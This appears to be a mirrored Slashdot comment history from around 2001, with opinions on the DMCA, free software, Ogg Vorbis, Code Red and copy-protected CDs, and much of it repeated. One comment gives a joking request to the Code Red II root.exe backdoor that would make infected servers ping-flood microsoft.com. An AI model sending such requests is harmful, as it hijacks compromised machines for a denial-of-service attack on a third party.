...To start teaching the free-software mentality. Since the parental volunteers and teachers are tacitly endorsing OSS and GNU principals by choosing Linux over the pay-for competition, they're letting their kids know that Free software is good and acceptible.
This is in stark contrast to the days when I grew up. I remember my Pascal teacher 'giving' me an copy of Turbo Pascal compiler because she knew I didn't have one at home to practice with. Then I felt bad because I knew it had been illegally copied. If only she or I had known that there *were* OSS compilers out there. These were something I didn't discover until college.
Let's see if the decision to include OSS in schools will mean things like a chapter in the computer literacy class about the GPL and the mentality behind it. I'd also like to see the schools encourage their kiddies to 'give back' to the OSS movement by releasing their programming projects and any software they custom-build under the GPL.
Kudos to the EFF for jumping on this and drawing negative publicity to it before it becomes as big a thorn in the collective side of the public as the DMCA. Of course, signed treaties are an order of magnitude harder to overcome than laws.
BUT...
Those who care have been fighting this sort of thing on an emergency basis. We have to shoot down ever single encroachment on our rights in response to those encroachments.
Instead, why don't we do the same thing that those trying to take away our freedoms are doing and start sponsoring treaties or laws that protect those freedoms. Seriously, the EFF is in prime position to start this kind of lobbying! Let's just get a few legal hotshots to start authoring 'sponsored' legislation like the RIAA, MPA, and BSA have done. Let's start contacting other governments and get them to start thinking about treaties that protect public domain and fair use.
The idea here is to fight fire with fire. Treaties can often 'trump' laws, but with the right treaty in place...
C'mon, if I'm gonna pay a membership fee to the EFF, I'd like to see some of it used for proactive work like this.
Did you expect any differently?
on
$1200 Cheap!
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· Score: 2, Insightful
This is a prime example of 'tying', the number one issue the states and DOJ have with Microsoft. It's just another anti-competitive tactic. I'm not surprised at all. This is very typical behavior.
Gatesco wants
Desktop PC Market - 99%
Internet - 99%
Videogames - 75% (Expected)
World Domination - 75%
A CGI written in C is almost certainly vastly slower than simiar code writen as a Java servlet. Deal with it.
Uhh... when did I say anything about the speed of Java? Geez, you'd think Java coders would lose their martyr complexes when an article like this one has just been posted.
Servlets and CGI accomplish the same kinds of tasks for the same kinds of users on the same kinds of platforms.
Do they do it more efficiently? It depends entirely on who you ask or what environment you test under or even how you define 'efficient'.
Because they do exactly the same things, I don't think that I'm wrong in stating that a Java Servlet is 'the same thing' as a CGI application. Based on CGI and evolutionally advanced from it, certainly, but then so is PHP, which is arguably *not* CGI, although it can handle CGI tasks.
The impact theory is really nice because it explains why the moon seems to have so many fewer minerals and a core that's aparrently rocky instead of metallic.
Still, addicted to eyecandy as I am, I would haved liked to have seen a computer rendered avi or something...
While I personally dislike Java, I think one of the reasons it's doing so well is the ability to create Java servelets on almost all platforms.
Really these are just overblown CGI applications, but really shine when you're doing something like online reporting or database manipulation.
So this guy can predict hidden information?
on
Battling Steganography
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· Score: 3, Interesting
The article stated that the guy used an algorithm to detect statistical variations and predict wether an image had steganographically hidden data 90% of the time.
How about a GIMP or Photoshop plugin to randomly insert junk data in any JPEG saved in order to make this technique useless? It'd be fun to the the NSA sit and fret over an image that apparently had a list of Warez traders and DMCA violators but instead contained the lyrics to 'Penny Lane'.
Better yet, how about an Apache module that does this same thing to every JPG it serves?
The point is, that as soon as it becomes common procedure to intercept images to check for steganography, those who use steganography will switch methods. I bet PGP data encoded in a JPG is a lot harder to detect, and infinitely harder to extract.
Me: Hmm... This is pretty serious shiznit! Maybe I should disable indexing on my company's IIS server...
Boss: Okay. You do that.
Me: Clickity Clickity Click...
~ ONE MONTH LATER ~
Boss: Oh god! The world's going to end! Our profits are going to dry up. Code Red is trying to rape my daughters...
Me: Relax, buddy! We've got it taken care of. Remember we disabled indexing on our IIS box? I also installed the patch from M$ just as soon as it came out.
Boss: Oh... Okay.
~ ONE WEEK LATER ~
Boss: Oh god! The world's going to end! Our profits are going to dry up. Code Red II tried to assault me behind the bar last night.
Me: Relax, buddy! Remember, we disabled indexing on our IIS box and installed the patch. Remember?
Boss: We did that?
The lesson here isthat EEye was perfectly responsible in releasing the information, and did so with the knowledge of Microsoft, so that M$ could release a patch in time to fix a hole that could have halted governments. As bad as it was, it could have been worse.
For any more big-name roles. I mean... Look at Linux's performance in 'Anti-trust'. It was pretty dissapointing. Let's all chip in and get Linux some good voice coaching and poise training and see if its not ready for another starring role later this year.
I was not aware that some schools don't allow LANs in the dorms. What is the reasoning behind this rule? I assume that the computers are owned by the students, not the school. Since a LAN is not using any school resources (aside from electricity), I'm perplexed at how they justify such a rule.
The school I'm talking about is West Texas A&M University, a private university outside of Amarillo, TX, that later merged with Texas A&M.
Now, as far as I know, there was nothing in the school rules that particularly forbid student-administered private lans. There were the usual 'Thou Shalt Nots' in the rules. Thou shalt not collaborate on programming projects, Thou shalt not copy software, Thou shalt not do anything to make the heavies come down on our school, etc... Now, the real issue here, I'm certain, was the fact that the small campus LAN was administered entirely by (and this is only my second hand knowledge, feel free to correct me if you know better) teachers and contracted computer administrators. Students were neither encouraged to have any part in the administration of the facilities, and when they did try to take part, excuses were found to get rid of them because they invariably opened up 'security risks'. One individual caused waves by allowing other students to access Windows 3.11 FTP in the open access lab. Another caused waves by daring to install a Linux-based webserver. ("We simply can't allow something so insecure as Linux to run when we have guarantees from Microsoft on the security of Windows NT").
As the price of networking hardware began to drop, student Lans based on Windows 95 and Linux began to emerge, usually communicating to the rest of the world via dial-up ISP accounts. Cat5 ran all over the dorms, through hand punched holes in the walls, and through the hallways. This, I'm certain, was the problem for the RA's. When they complained about their dorms' residents' refusal to take down their network cable, the school administration responded by handing it over to the CIS department. CIS realized that there were LANs on the campus that they did not adminster, and the school rules were quickly ammended to address this. 'Thou shalt have no LAN which is not directly administerd by CIS.' So the students had to take down their cables, but CIS was suddenly obligated to provide dorm-wide internet access, and installed RJ45 data jacks to most of the dorms, making a larger mess than the RA's were complaning about.
Now, before the mass installation, a lot of the students I know who had been forced to take down their own Cat5 almost instantly replaced it with a series of IR receivers. They ran about $120 apeice at the time, but that was a pretty small 'initiation fee' for those who wanted a spot on the LAN for multiplayer DOOM and file-sharing. With the installation of the data jacks in all the rooms, students were able to set up IP masquerading networks, and have unfettered, private, but slow internet access to the world through WTAMU's T1 to Sprint.
WTAMU students and alumni feel free to correct me if you know this sequence of events better than I, since I got this second hand.
The point he was trying to make is that the 'internet' has the ability to reemerge, even if it is censored into non-existance.
Yes, currently most of use rely on some form of corporate-owned copper infrastructure for our internet feeds. This is in the form of cable, phone, and DSL-based ISP's and telcos. It doesn't have to be this way...
A growing number of internet users are setting up lans based entirely on wireless networks, using wireless protocols. Other users are setting up infrared shots. IR shots were very popular in a dorm I visited once that 'prohbited' unauthorized computer LANS. If the RA couldn't see cable, there was no LAN, despite the fact that a massive amount of file-sharing and gaming was going on behind his back.
Also, there are projects in place that effectively protect 'forbidden' information over those connections that are too convenient to abandon in the form of FreeNet and Gnutella, which the author of the original article mentioned, and then seemed to completely ignore.
Is the government going to outlaw private lans or wireless? They could, but we'd just find another way to get around it. It's very difficult to detect low-power, tight beam microwave, which is already in use in some wireless projects.
I agree with the root poster here. Unless the government takes our computers away, they can't take the internet away either.
Ah, but the problem here is not an ethical one, but a logistic one. Priests and doctors keep confidences in order to preserve their clients' privacy. Even if a priest is bound by his faith not to disclose a confession of an illegal act, I don't think there is any priest out there who would work to try to get his confessee to turn himself in.
On the other hand, lawyers do this to preserve their client's 'innocence' in front of a court, even if that person actually has done what they're being accused of. In many cases this is essential to a client's privacy and safety, but in many cases, both criminal and civil lawyers are required to ignore facts in order to best represent their client.
I had a conversation recently with a friend from high school who got in pretty serious trouble with the law while I was away at college. He told me that his defense attorney told him not to tell him if he had done what he was accused of or not. While this 'suspension' of ethics is professionally responsible, my opinion is that an ethical attorney would have instead advised his (guilty) client to pleade guilty and then try to get him off with as light a sentance as possible.
So we're dividing shyst^H^H^H^H^Hlawyers into 'White-hat' and 'Black-hat' categories now, like cowboys or crackrs? I knew a description would come along that would suddenly make legal proceedings make sense.
Wait a second... if ethics are what we use to divide any group into 'Black' and 'White' categories, how can any group that holds holy the concept of client-attourney privalege be anything but 'Black Hat'?
Translation for the marketing impaired:
on
ATi Radeon 8500
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· Score: 5, Funny
Marketing: For those looking for the sweet spot between price and performance...
English: You can't afford the card we're reviewing, nerd-boy. Buy this cheaper one instead... Unless of course, you're interested in our exclusive terms. You've got two kidneys, right?
Marketing: ATI has already revealed extensive details on two of the Radeon 8500's key technologies...
English: ATI's underpaid hardware engineers are hard at work turning the mad fantasies of marketing types into reality. Results will vary...
Marketing: It's the Radeon 8500's ability to do many simultaneous texture effects that has led John Carmack to predict that the new Doom graphics engine will perform twice as well on a Radeon 8500 as on a GeForce3.
English: Please, God, Please let the new id Software titles play on our hardware...
Marketing: The revised API is set to launch at the time of Windows XP's release in October but may first arrive on the ATI driver disk.
English: Keep your pants on, Bill. It'll take a few seconds to get lubed up.
Marketing: For the first time in a PC, the Radeon 8500 will include a component video connector that can connect the card to an HDTV. This component output, which will likely come as an adapter for the DVI-I connector, will make high-quality progressive-scan DVD playback possible on a PC.
English: Not that you'll actually be able to do any of that. We're not going to cross the MPAA, Hell no!
Marketing: The performance-enthusiast market makes up only 5 percent of overall graphics sales, so ATI doesn't expect the Radeon 8500 to be a top seller.
English: Everything we've got is riding on this card, so if you don't buy it, we're going to go bankrupt and be bought out by nVidia.
Marketing: The Radeon 7500 is designed to be very fast in the current crop of games.
English: This card will be obsolete and unsupported in six months. Sell a kidney so you can buy the better card.
Marketing: What the Radeon 7500 lacks in future-proof performance it makes up for in display features.
English: Six months? We meant three months.
Marketing: Both the Radeon 8500 and 7500 are priced competitively against Nvidia's GeForce3 and GeForce2 Pro.
English: You're getting bent over either way, so why not buy from us?
Marketing: Summary - This is a great card and we reccomend you make this a part of your workstation.
English: Summary - If we say anything bad, ATI won't let send us any more toys.
Despite having their funding cave almost all the way in, the good folks at Xiphonious have gone ahead and pounded out the format that will kill Mpeg-based audio. It will be the most decisive victory of Open Source Software over propriety formats, even moreso than the Linux/Windows competition.
While this is strictly my opinion, these are the reasons I beleive this:
1. Xiph has spent a great deal of time on the niceties of the format. As much, or moreso than the format itself. They've made sure that anyone can encode high-quality OGGs with both a command line and a 'droplet' style encoder. They've also made sure that anyone can play oggs with plugins for all the most popular MP3 players. Their player libraries are all LGPL'd, making it so that anyone else can include OGG functionality in plugin-style to their application.
2. Because of the LGPL'd libraries, developers and publishers can use OGG format audio for free, rather than paying a patent-fee to the Fraunhoeffer institue. This is a pretty major thing, since it deducts five dollars from the cost of any given software distribution. Not a lot for a single game, but think of the money that a popular company like Verant would save by distributing their next game with an Ogg-based soundtrack. Ogg translates directly to monetary savings!
3. MP3 is compatiable with Stereo CD streams. That's great, but you really can't encode Dolby 5.1 audio without sacrificing quality. Ogg can do 255 channels, making it 'Dolby 5.1' ready. DVD Audio ain't gonna stay copy-protected for long, and when it's protection goes, you can be sure that the people encoding it will use Ogg instead of mp3 so that there is no quality loss.
4. MP3 is a dirty word if you work for an RIAA company. There are now dozens of firms who work to track down file-traders on P2P networks, IRC, Websites, and FTP sites. They aren't searching for Ogg's yet. As it becomes more and more difficult to trade MP3's, people will turn to Ogg like people who used Napster turned to Bearshear and other Gnutella clients.
5. Ogg offers significant quality improvements over MP3. Windows Media offers these same kind of improvements, but they come at the cost of restrictive Microsoft policy such as limited bit rates and 'digital rights management' schemes. Since Ogg format doesn't even contain hooks for digital rights, I think I know where the majority of Audiophiles are going to be looking for their online audio fixes.
Well, both are claims. The 'apology' referenced in the Register story was one that was made under duress, i.e... under threat of being sued.
Redbook standard allows for massive dynamic range: CD's can represent sounds digitally up to about 300dB.
People who mix their own CD's will recognize this fact in that they have to 'normalize' their tracks if they want everything on the CD to play at the same approximate volume.
If a loud-enough, sharp-enough sound is pumped through your speakers, however, they will blow. While I'm certain that it's not common, no it's *not* impossible for 'Cactus' scheme to damage your audio equipment.
Let's see just how many boxen we can get slamming MS at once...
Back Door? Somebody call the Goatse.cx guy!
on
Code Red III
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· Score: 2
leaves a wider ?back door'' on infected machines,
Code Red II left a copy of cmd.exe in IIS's 'scripts' directory, giving any and all comers who know the machine's IP address the ability to perform *any* system level command with nothing more than a web browser.
My question here is, how the hell do you have a 'wider' backdoor than that?!
Tech details are sparse. I haven't seen anything yet. Anyone have links to pages about the new variant's payload?
Without this example hanging over their heads, dozens of companies and tens of thousands of individuals would be running insecure networks who could be exploited by people who really are criminals.
Now that this kid has punched a hole in the standard... and he wasn't even the one to punch the hole, just the first to exploit it in a public manner... These comapnies will be forced to sit up and see that they're not safe.
Of course, we tried to use this same argument on the MPAA, and they responded by trying to sue every hacker in the U.S.
The DMCA seems to be *discouraging* the adoptance and use digital technology rather than protecting it or making no impact at all.
Of course this has been noted before, but how many times does the idea that 'this product is unpopular with consumers because of the copy protection it contains' before the marketroids at the companies who are pushing take the hint and realize that the DMCA is hurting their bottom line and start arguing against it?
The publishers are the best, most prominent example right now. Random house and the others have invested millions into different E-Book technologies, most of the money going into making sure that nobody 'rips them off'.
As with the RIAA and Napster, however, the publishers have failed to recognize that broader exposure, even in the form of fair-use 'piracy', increases sales.
Case in point: I thought that the Harry Potter books were for kids only and couldn't possibly have any value until I stumbled across the first three in 'ripped' versions online. After reading them, I went to the bookstore to buy the fourth. Scholastic publisher gained a customer because of Piracy. Since, I've bought paper copies of the first three.
The record industry is next. One of the articles linke to on/. in the last few days noted how big a PR disaster the new wave of copy-protected CD's is shaping up to be. Despite the fact that people hate copy protection, I have personally heard the rumour repeated that there is a possibility these copy-protected CD's have the potential to destroy your speakers or audio equipment. This kind of rumour is like slow poison to the record industry, who is starting to lose sales now that Napster's offline, because who in their right mind would even consider buying a CD that might explode your walkman?
It's not going to be very long at all before there is enough documentation and public opinion to indicate that copy control and DMCA restrictions are bad for business. Shareholders will start clamoring. The question I see is this: Will the companies involved listen or start to go under?
If libraries were routinely able to convert their collections to digital formats, and then offer their patrons remote access to that material, they would essentially become and maybe even replace publishers.
Sounds like a system that's a hell of a lot better than what we have.
Slashdot Mirror
...To start teaching the free-software mentality. Since the parental volunteers and teachers are tacitly endorsing OSS and GNU principals by choosing Linux over the pay-for competition, they're letting their kids know that Free software is good and acceptible.
This is in stark contrast to the days when I grew up. I remember my Pascal teacher 'giving' me an copy of Turbo Pascal compiler because she knew I didn't have one at home to practice with. Then I felt bad because I knew it had been illegally copied. If only she or I had known that there *were* OSS compilers out there. These were something I didn't discover until college.
Let's see if the decision to include OSS in schools will mean things like a chapter in the computer literacy class about the GPL and the mentality behind it. I'd also like to see the schools encourage their kiddies to 'give back' to the OSS movement by releasing their programming projects and any software they custom-build under the GPL.
Kudos to the EFF for jumping on this and drawing negative publicity to it before it becomes as big a thorn in the collective side of the public as the DMCA. Of course, signed treaties are an order of magnitude harder to overcome than laws.
BUT...
Those who care have been fighting this sort of thing on an emergency basis. We have to shoot down ever single encroachment on our rights in response to those encroachments.
Instead, why don't we do the same thing that those trying to take away our freedoms are doing and start sponsoring treaties or laws that protect those freedoms. Seriously, the EFF is in prime position to start this kind of lobbying! Let's just get a few legal hotshots to start authoring 'sponsored' legislation like the RIAA, MPA, and BSA have done. Let's start contacting other governments and get them to start thinking about treaties that protect public domain and fair use.
The idea here is to fight fire with fire. Treaties can often 'trump' laws, but with the right treaty in place...
C'mon, if I'm gonna pay a membership fee to the EFF, I'd like to see some of it used for proactive work like this.
This is a prime example of 'tying', the number one issue the states and DOJ have with Microsoft. It's just another anti-competitive tactic. I'm not surprised at all. This is very typical behavior.
Gatesco wants
Desktop PC Market - 99%
Internet - 99%
Videogames - 75% (Expected)
World Domination - 75%
A CGI written in C is almost certainly vastly slower than simiar code writen as a Java servlet. Deal with it.
Uhh... when did I say anything about the speed of Java? Geez, you'd think Java coders would lose their martyr complexes when an article like this one has just been posted.
Servlets and CGI accomplish the same kinds of tasks for the same kinds of users on the same kinds of platforms.
Do they do it more efficiently? It depends entirely on who you ask or what environment you test under or even how you define 'efficient'.
Because they do exactly the same things, I don't think that I'm wrong in stating that a Java Servlet is 'the same thing' as a CGI application. Based on CGI and evolutionally advanced from it, certainly, but then so is PHP, which is arguably *not* CGI, although it can handle CGI tasks.
Hmmm...
The impact theory is really nice because it explains why the moon seems to have so many fewer minerals and a core that's aparrently rocky instead of metallic.
Still, addicted to eyecandy as I am, I would haved liked to have seen a computer rendered avi or something...
While I personally dislike Java, I think one of the reasons it's doing so well is the ability to create Java servelets on almost all platforms.
Really these are just overblown CGI applications, but really shine when you're doing something like online reporting or database manipulation.
The article stated that the guy used an algorithm to detect statistical variations and predict wether an image had steganographically hidden data 90% of the time.
How about a GIMP or Photoshop plugin to randomly insert junk data in any JPEG saved in order to make this technique useless? It'd be fun to the the NSA sit and fret over an image that apparently had a list of Warez traders and DMCA violators but instead contained the lyrics to 'Penny Lane'.
Better yet, how about an Apache module that does this same thing to every JPG it serves?
The point is, that as soon as it becomes common procedure to intercept images to check for steganography, those who use steganography will switch methods. I bet PGP data encoded in a JPG is a lot harder to detect, and infinitely harder to extract.
Me: Hmm... This is pretty serious shiznit! Maybe I should disable indexing on my company's IIS server...
Boss: Okay. You do that.
Me: Clickity Clickity Click...
~ ONE MONTH LATER ~
Boss: Oh god! The world's going to end! Our profits are going to dry up. Code Red is trying to rape my daughters...
Me: Relax, buddy! We've got it taken care of. Remember we disabled indexing on our IIS box? I also installed the patch from M$ just as soon as it came out.
Boss: Oh... Okay.
~ ONE WEEK LATER ~
Boss: Oh god! The world's going to end! Our profits are going to dry up. Code Red II tried to assault me behind the bar last night.
Me: Relax, buddy! Remember, we disabled indexing on our IIS box and installed the patch. Remember?
Boss: We did that?
The lesson here isthat EEye was perfectly responsible in releasing the information, and did so with the knowledge of Microsoft, so that M$ could release a patch in time to fix a hole that could have halted governments. As bad as it was, it could have been worse.
For any more big-name roles. I mean... Look at Linux's performance in 'Anti-trust'. It was pretty dissapointing. Let's all chip in and get Linux some good voice coaching and poise training and see if its not ready for another starring role later this year.
I was not aware that some schools don't allow LANs in the dorms. What is the reasoning behind this rule? I assume that the computers are owned by the students, not the school. Since a LAN is not using any school resources (aside from electricity), I'm perplexed at how they justify such a rule.
The school I'm talking about is West Texas A&M University, a private university outside of Amarillo, TX, that later merged with Texas A&M.
Now, as far as I know, there was nothing in the school rules that particularly forbid student-administered private lans. There were the usual 'Thou Shalt Nots' in the rules. Thou shalt not collaborate on programming projects, Thou shalt not copy software, Thou shalt not do anything to make the heavies come down on our school, etc... Now, the real issue here, I'm certain, was the fact that the small campus LAN was administered entirely by (and this is only my second hand knowledge, feel free to correct me if you know better) teachers and contracted computer administrators. Students were neither encouraged to have any part in the administration of the facilities, and when they did try to take part, excuses were found to get rid of them because they invariably opened up 'security risks'. One individual caused waves by allowing other students to access Windows 3.11 FTP in the open access lab. Another caused waves by daring to install a Linux-based webserver. ("We simply can't allow something so insecure as Linux to run when we have guarantees from Microsoft on the security of Windows NT").
As the price of networking hardware began to drop, student Lans based on Windows 95 and Linux began to emerge, usually communicating to the rest of the world via dial-up ISP accounts. Cat5 ran all over the dorms, through hand punched holes in the walls, and through the hallways. This, I'm certain, was the problem for the RA's. When they complained about their dorms' residents' refusal to take down their network cable, the school administration responded by handing it over to the CIS department. CIS realized that there were LANs on the campus that they did not adminster, and the school rules were quickly ammended to address this. 'Thou shalt have no LAN which is not directly administerd by CIS.' So the students had to take down their cables, but CIS was suddenly obligated to provide dorm-wide internet access, and installed RJ45 data jacks to most of the dorms, making a larger mess than the RA's were complaning about.
Now, before the mass installation, a lot of the students I know who had been forced to take down their own Cat5 almost instantly replaced it with a series of IR receivers. They ran about $120 apeice at the time, but that was a pretty small 'initiation fee' for those who wanted a spot on the LAN for multiplayer DOOM and file-sharing. With the installation of the data jacks in all the rooms, students were able to set up IP masquerading networks, and have unfettered, private, but slow internet access to the world through WTAMU's T1 to Sprint.
WTAMU students and alumni feel free to correct me if you know this sequence of events better than I, since I got this second hand.
The point he was trying to make is that the 'internet' has the ability to reemerge, even if it is censored into non-existance.
Yes, currently most of use rely on some form of corporate-owned copper infrastructure for our internet feeds. This is in the form of cable, phone, and DSL-based ISP's and telcos. It doesn't have to be this way...
A growing number of internet users are setting up lans based entirely on wireless networks, using wireless protocols. Other users are setting up infrared shots. IR shots were very popular in a dorm I visited once that 'prohbited' unauthorized computer LANS. If the RA couldn't see cable, there was no LAN, despite the fact that a massive amount of file-sharing and gaming was going on behind his back.
Also, there are projects in place that effectively protect 'forbidden' information over those connections that are too convenient to abandon in the form of FreeNet and Gnutella, which the author of the original article mentioned, and then seemed to completely ignore.
Is the government going to outlaw private lans or wireless? They could, but we'd just find another way to get around it. It's very difficult to detect low-power, tight beam microwave, which is already in use in some wireless projects.
I agree with the root poster here. Unless the government takes our computers away, they can't take the internet away either.
SpammerQuery - The home addresses and personal phone numbers of spammers.
EinsteinExpress - When you absolutely, positively have to have next month's kernal patch yesterday...
SlashBot - The home addresses and personal phone numbers of FP'ers and goatse.cx linkers.
BootyCall - All porn all the ti... wait a second. We've got images.google.com for that! Sorry, my bad.
Ah, but the problem here is not an ethical one, but a logistic one. Priests and doctors keep confidences in order to preserve their clients' privacy. Even if a priest is bound by his faith not to disclose a confession of an illegal act, I don't think there is any priest out there who would work to try to get his confessee to turn himself in.
On the other hand, lawyers do this to preserve their client's 'innocence' in front of a court, even if that person actually has done what they're being accused of. In many cases this is essential to a client's privacy and safety, but in many cases, both criminal and civil lawyers are required to ignore facts in order to best represent their client.
I had a conversation recently with a friend from high school who got in pretty serious trouble with the law while I was away at college. He told me that his defense attorney told him not to tell him if he had done what he was accused of or not. While this 'suspension' of ethics is professionally responsible, my opinion is that an ethical attorney would have instead advised his (guilty) client to pleade guilty and then try to get him off with as light a sentance as possible.
From the post: white hat attorney
So we're dividing shyst^H^H^H^H^Hlawyers into 'White-hat' and 'Black-hat' categories now, like cowboys or crackrs? I knew a description would come along that would suddenly make legal proceedings make sense.
Wait a second... if ethics are what we use to divide any group into 'Black' and 'White' categories, how can any group that holds holy the concept of client-attourney privalege be anything but 'Black Hat'?
Marketing: For those looking for the sweet spot between price and performance...
English: You can't afford the card we're reviewing, nerd-boy. Buy this cheaper one instead... Unless of course, you're interested in our exclusive terms. You've got two kidneys, right?
Marketing: ATI has already revealed extensive details on two of the Radeon 8500's key technologies...
English: ATI's underpaid hardware engineers are hard at work turning the mad fantasies of marketing types into reality. Results will vary...
Marketing: It's the Radeon 8500's ability to do many simultaneous texture effects that has led John Carmack to predict that the new Doom graphics engine will perform twice as well on a Radeon 8500 as on a GeForce3.
English: Please, God, Please let the new id Software titles play on our hardware...
Marketing: The revised API is set to launch at the time of Windows XP's release in October but may first arrive on the ATI driver disk.
English: Keep your pants on, Bill. It'll take a few seconds to get lubed up.
Marketing: For the first time in a PC, the Radeon 8500 will include a component video connector that can connect the card to an HDTV. This component output, which will likely come as an adapter for the DVI-I connector, will make high-quality progressive-scan DVD playback possible on a PC.
English: Not that you'll actually be able to do any of that. We're not going to cross the MPAA, Hell no!
Marketing: The performance-enthusiast market makes up only 5 percent of overall graphics sales, so ATI doesn't expect the Radeon 8500 to be a top seller.
English: Everything we've got is riding on this card, so if you don't buy it, we're going to go bankrupt and be bought out by nVidia.
Marketing: The Radeon 7500 is designed to be very fast in the current crop of games.
English: This card will be obsolete and unsupported in six months. Sell a kidney so you can buy the better card.
Marketing: What the Radeon 7500 lacks in future-proof performance it makes up for in display features.
English: Six months? We meant three months.
Marketing: Both the Radeon 8500 and 7500 are priced competitively against Nvidia's GeForce3 and GeForce2 Pro.
English: You're getting bent over either way, so why not buy from us?
Marketing: Summary - This is a great card and we reccomend you make this a part of your workstation.
English: Summary - If we say anything bad, ATI won't let send us any more toys.
Along with original pentiums. I spent all last week making PCX graphics for an NCR ATM with a 586 60 that ran OS2 Warp.
These guys aren't used to do floating point math, just to display low-res graphics on ATM screens and operate the ATM's internal mechanism.
Despite having their funding cave almost all the way in, the good folks at Xiphonious have gone ahead and pounded out the format that will kill Mpeg-based audio. It will be the most decisive victory of Open Source Software over propriety formats, even moreso than the Linux/Windows competition.
While this is strictly my opinion, these are the reasons I beleive this:
1. Xiph has spent a great deal of time on the niceties of the format. As much, or moreso than the format itself. They've made sure that anyone can encode high-quality OGGs with both a command line and a 'droplet' style encoder. They've also made sure that anyone can play oggs with plugins for all the most popular MP3 players. Their player libraries are all LGPL'd, making it so that anyone else can include OGG functionality in plugin-style to their application.
2. Because of the LGPL'd libraries, developers and publishers can use OGG format audio for free, rather than paying a patent-fee to the Fraunhoeffer institue. This is a pretty major thing, since it deducts five dollars from the cost of any given software distribution. Not a lot for a single game, but think of the money that a popular company like Verant would save by distributing their next game with an Ogg-based soundtrack. Ogg translates directly to monetary savings!
3. MP3 is compatiable with Stereo CD streams. That's great, but you really can't encode Dolby 5.1 audio without sacrificing quality. Ogg can do 255 channels, making it 'Dolby 5.1' ready. DVD Audio ain't gonna stay copy-protected for long, and when it's protection goes, you can be sure that the people encoding it will use Ogg instead of mp3 so that there is no quality loss.
4. MP3 is a dirty word if you work for an RIAA company. There are now dozens of firms who work to track down file-traders on P2P networks, IRC, Websites, and FTP sites. They aren't searching for Ogg's yet. As it becomes more and more difficult to trade MP3's, people will turn to Ogg like people who used Napster turned to Bearshear and other Gnutella clients.
5. Ogg offers significant quality improvements over MP3. Windows Media offers these same kind of improvements, but they come at the cost of restrictive Microsoft policy such as limited bit rates and 'digital rights management' schemes. Since Ogg format doesn't even contain hooks for digital rights, I think I know where the majority of Audiophiles are going to be looking for their online audio fixes.
6. The Vorbig Fishy ROCKS!
Like I said, just my opinions...
Well, both are claims. The 'apology' referenced in the Register story was one that was made under duress, i.e... under threat of being sued.
Redbook standard allows for massive dynamic range: CD's can represent sounds digitally up to about 300dB.
People who mix their own CD's will recognize this fact in that they have to 'normalize' their tracks if they want everything on the CD to play at the same approximate volume.
If a loud-enough, sharp-enough sound is pumped through your speakers, however, they will blow. While I'm certain that it's not common, no it's *not* impossible for 'Cactus' scheme to damage your audio equipment.
A few days ago, I was involved in a conversation with a computer neophyte after I had been off the net for a few days.
She told me she had heard of a new CD format that was supposed to copy-protect CD's by making them damage your stereo speakers.
Knowing quite a bit about the Red-book standard, I told her that such a format was impossible and that it was almost certainly a hoax.
Once I got back on the net and read about the Macro-vision scheme now in use in thousands of CD's, I had to call her and tell her that I was mistaken.
GET /scripts/root.exe?/c+ping+"www.microsoft.com"+"-t -l 4096 -i 9999"
Let's see just how many boxen we can get slamming MS at once...
leaves a wider ?back door'' on infected machines,
Code Red II left a copy of cmd.exe in IIS's 'scripts' directory, giving any and all comers who know the machine's IP address the ability to perform *any* system level command with nothing more than a web browser.
My question here is, how the hell do you have a 'wider' backdoor than that?!
Tech details are sparse. I haven't seen anything yet. Anyone have links to pages about the new variant's payload?
Because that's some powerful encryption breaking power... if you know what I mean...
Without this example hanging over their heads, dozens of companies and tens of thousands of individuals would be running insecure networks who could be exploited by people who really are criminals.
Now that this kid has punched a hole in the standard... and he wasn't even the one to punch the hole, just the first to exploit it in a public manner... These comapnies will be forced to sit up and see that they're not safe.
Of course, we tried to use this same argument on the MPAA, and they responded by trying to sue every hacker in the U.S.
The DMCA seems to be *discouraging* the adoptance and use digital technology rather than protecting it or making no impact at all.
/. in the last few days noted how big a PR disaster the new wave of copy-protected CD's is shaping up to be. Despite the fact that people hate copy protection, I have personally heard the rumour repeated that there is a possibility these copy-protected CD's have the potential to destroy your speakers or audio equipment. This kind of rumour is like slow poison to the record industry, who is starting to lose sales now that Napster's offline, because who in their right mind would even consider buying a CD that might explode your walkman?
Of course this has been noted before, but how many times does the idea that 'this product is unpopular with consumers because of the copy protection it contains' before the marketroids at the companies who are pushing take the hint and realize that the DMCA is hurting their bottom line and start arguing against it?
The publishers are the best, most prominent example right now. Random house and the others have invested millions into different E-Book technologies, most of the money going into making sure that nobody 'rips them off'.
As with the RIAA and Napster, however, the publishers have failed to recognize that broader exposure, even in the form of fair-use 'piracy', increases sales.
Case in point: I thought that the Harry Potter books were for kids only and couldn't possibly have any value until I stumbled across the first three in 'ripped' versions online. After reading them, I went to the bookstore to buy the fourth. Scholastic publisher gained a customer because of Piracy. Since, I've bought paper copies of the first three.
The record industry is next. One of the articles linke to on
It's not going to be very long at all before there is enough documentation and public opinion to indicate that copy control and DMCA restrictions are bad for business. Shareholders will start clamoring. The question I see is this: Will the companies involved listen or start to go under?
If libraries were routinely able to convert their collections to digital formats, and then offer their patrons remote access to that material, they would essentially become and maybe even replace publishers.
Sounds like a system that's a hell of a lot better than what we have.